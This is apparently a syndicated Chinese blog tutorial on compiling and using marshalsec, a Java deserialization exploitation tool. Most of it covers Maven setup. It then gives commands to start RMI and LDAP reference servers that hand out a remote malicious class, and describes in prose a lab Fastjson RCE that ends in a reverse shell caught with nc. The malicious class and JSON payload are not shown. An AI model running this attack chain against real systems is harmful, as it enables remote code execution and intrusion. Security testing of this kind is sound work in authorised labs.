前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >Java反序列化工具-marshalsec

Java反序列化工具-marshalsec

作者头像
Tommonkey
发布2023-02-27 20:41:38
发布2023-02-27 20:41:38
3.1K00
代码可运行
举报
文章被收录于专栏:TommonkeyTommonkey
运行总次数:0
代码可运行

marshalsec是一款java反序列利用工具,其可以很方便的起一个ldap或rmi服务,通过这些服务来去访问攻击者准备好的恶意执行类来达到远程命令执行或入侵的目的。marshalsec获取方式在GitHub上,地址为:

https://github.com/mbechler/marshalsec

marshalsec项目是未编译的,所以想使用他需要通过maven先编译,同时还需具备JAVA环境。(tips:该环境演示都基于linux环境)

Maven安装

获取maven的安装包

https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

解压缩后将目录文件复制到/usr/local/下

代码语言:javascript
代码运行次数:0
复制
tar -xzvf apache-maven-3.6.3-bin.tar.gz
cp -r ./apache-maven-3.6.3/ /usr/local/

# 进入/usr/local/apache-maven-3.6.3/目录下创建一个repo目录
mkdir repo

# 进入conf目录下编辑setting.xml文件
cd conf/
vim setting.xml
代码语言:javascript
代码运行次数:0
复制
# 定位到:localRepository,做出如下修改:  
<localRepository>/usr/local/apache-maven-3.6.3/repo</localRepository>
代码语言:javascript
代码运行次数:0
复制
# 再此定位到:mirror位置处,做出如下修改(tips:注意去掉注释,不然修改也不会生效):
<mirror>
 <id>alimaven</id>
 <name>aliyun maven</name>
 <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
 <mirrorOf>central</mirrorOf>
</mirror>

配置/etc/profile,直接在文件最后加入如下内容:

代码语言:javascript
代码运行次数:0
复制
# maven setting
export MAVEN_HOME=/usr/local/apache-maven-3.6.3
export PATH=$PATH:$MAVEN_HOME/bin

保存退出,执行source /etc/profile来生效该配置,完成上述步骤后,输入:mvn -v来测试maven是否安装成功

若出现如下报错:

NB: JAVA_HOME should point to a JDK not a JRE:意思是JAVA_HOME应该指向jdk而不是jre。下面给出解决办法: 通过命令:echo $JAVA_HOME来获取java的安装路径

编辑/etc/profile配置文件,重新配置JAVA_HOME的路径,给他重新配置jdk的路径

再次source /etc/profile,即可解决。

编译marshalsec

上面步骤都正确操作完后,拉取marshalsec项目到本地,解压后进入目录,直接执行:

mvn clean package -DskipTests

接下里就等他解析,会在当前目录下生成一个target的文件夹,代表安装完成就可以使用了…………

marshalsec使用说明

marshalsec基本命令格式

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec. [-a] [-v] [-t] [ [<arguments…>]]

参数说明:

代码语言:javascript
代码运行次数:0
复制
+ -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
+ -t:对生成的payloads进行解码测试
+ -v:verbose mode, 展示生成的payloads
+ gadget_type:指定使用的payload
+ arguments - payload运行时使用的参数
+ marshalsec.<marshaller>:指定exploits,根目录下的java文件名

开启rmi服务

代码语言:javascript
代码运行次数:0
复制
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://rmi_server_ip:rmi_port/#ExportObject 1099  

开启ldap服务

代码语言:javascript
代码运行次数:0
复制
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ldap_server_ip:ldap_port/#ExportObject 1389

Fastjson远程命令执行漏洞演示

演示一个fastjson远程命令执行的漏洞,起一个靶场直接开始。在vps上安装好marshalsec,开启rmi服务,并且将java恶意命令执行类上传到vps后开启访问服务。同时再vps上起nc监听端口。操作如下:

可以看见反弹成功!实现过程:bp抓包修改数据包为post,并添加json格式的rmi协议发送给服务器后,服务器访问post数据包上的rmi地址,vps上的rmi服务端口收到服务器发来的请求后,rmi服务按照设定的开放ip与端口让服务端去下载访问恶意类文件并运行后,此时我们起的nc监听端口就会收到反弹的shell…………

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-10-042,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Maven安装
  • 编译marshalsec
  • marshalsec使用说明
  • Fastjson远程命令执行漏洞演示
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档